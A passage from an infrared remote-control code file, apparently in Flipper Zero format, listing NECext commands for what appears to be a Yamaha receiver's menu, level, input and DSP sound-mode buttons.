7F 00 00 00 -# -name: FRONT_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 80 00 00 00 -# -name: FRONT_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 81 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 82 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 83 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: MENU_SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: MENU:_SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: GUI:_SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: SETUP_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: MENU_SETUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: DSP_CENTER_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: MZ:_MENU_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: PARAMETER_TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: TEST_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: PARAMETER:_TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: SET_MENU_TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: DSP_TOG:_TEST_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: TEST_TONE_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: TEST_TONE_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: SET_MENU_RTRN/TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: DSP_TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: DSP_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: PARAMETER_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: PARAMETER:_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: MZ:_LEVEL_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: LEVEL_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: SET_MENU_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: DSP_TOG:_EFFECT_LEVL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: SPEAKER_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: SETUP_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: PARAMETER:_SPKR_LEVL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: DSP:_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: DSP_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: MZ:_SET_LEVEL_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: EXTERNAL_DECODER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: 6CH_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTI_CH_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: INPUT_MULTI_CH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: 6CH._INPUT_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: 6_CH._INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: 6_CH_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTI_IN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MZ:_EXT_INP_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MZ:_MULTI-CH_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTICH_IN_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: EXT._DEC. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: EXT.DEC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTI_CH_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTI-CH_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: INP_MULTI_CH_IN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTI_CH_IN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTI_CHANNEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTI-CHANNEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: INPUT:_MULTI-CHANNEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MAIN:_EXT_INPUT_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MULTI_CH_IN_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: INPUT_MULTI_CH_IN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: ?MZ:_INP_MULTCH_DIR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MZ:_M.CH_IN_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MZ_INP:_MULTI_CH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MZ_INP:_MULTI_CH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: MODE_PROLOGIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_CLASSICAL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_MUSIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: HALL_1_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: HALL_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_CONCERT_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: 1_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_TOG:_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: PRO-LOGIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_DD/PRO_LOGIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_CONCERT_HALL_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP:_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSPTOG:_CLASSICAL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_TOG:_CLASSICAL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_TOG_CLASSICAL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_CNCT_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_TOG:_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP:_CLASSICAL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_STEREO_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: PROGRAM_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DOLBY_SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_PRO_LOGIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: CLASSICAL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DIG._PRO-LOGIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: CONCERT_HALL_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP:_T_CLASSICAL1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSPTOG:_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: MODE_MOVIE-1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_LIVE/CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_MUSIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: HALL_2_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: HALL_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: 2_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_TOG:_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_TOG:_MUSIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_ENHANCED -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_CONCERT_HALL_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSPTOG:_LIVE/CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_TOG:_LIVE/CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_TOG_LIVE/CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: ENHANCED -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_TOG:_JAZZ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP:_LIVE/CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_MUSIC_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: PROGRAM_MUSIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_PRO_LOGIC_ENH. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: PRO-LOGIC_ENHANCED -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: CONCERT_HALL_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP:_T_CLASSICAL2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSPTOG:_HALL_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: MODE_MOVIE-2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: ROCK_CONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: CHURCH_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: 3_JAZZ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_TOG:_JAZZ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_TOG:_ENTERTAIN. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_TOG:_CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSPTOG:_ENTERTAIN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_TOG_ENTERTAIN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: ENTERTAIN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: MOVIE_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_TOG:_ROCKCONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP:_ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_ENTERTAIN_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_CONCERT_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: MOVIE_THEATRE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP:_T_LIVE/CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: CHUCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSPTOG:_HALL_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: MODE_MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: JAZZ_CLUB_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: ROCK_CONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_ROCK_CONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: 4_ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_TOG:_ROCKCONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_TOG:_ROCK_CNCRT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_TOG:_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_TV_SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_TOG:_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSPTOG:_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_TOG_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_FIVE_CH_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_TOG:_ENTERTNMNT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP:_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_TOG:_ROCK_CONCRT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_MOVIE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: TV_SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP:_T_ENTERTAINME -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSPTOG:_CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: MODE_TV-SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: TV_SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: ENTERTAIN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: ROCK_CONCERT_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: ROCK_CONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: 5_ENTITAIN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TOG:_ENTERTNMNT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TOG:_ENTERTAIN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TOG:_THX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_ROCK_CONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TOG:_ROCKCONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSPTOG:_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TOG:_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TOG_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TV_SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TOG:_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP:_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_TOG:_MUSIC_VID -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP:_T_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSPTOG:_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: MODE_DISCO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_SUR._DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_SURR._DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: ENTERTAINMENT_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: TV_SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: 6_MUSIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_TOG:_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_TOG:_STANDARD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: PRO_LOGIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_SUR.DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_TOG:_ENTERTNMNT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_TOG:_SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSPTOG:_SUR._DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_TOG:_SUR._DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: STADIUM_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: SURR_DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_TOG_SUR._DEC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: STANDARD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: SUR._DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DISCO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_TOG:_TV_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP:_SURR_DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_TOG:_ENTERTAIN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: PROGRAM_SUR.DECOD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSP_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DECOD:_T_SUR.DEC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: DSPTOG:_ROCKCONCERT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: SUR_DECODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: MODE_ROCK -type: parsed -protocol: NECext -address: 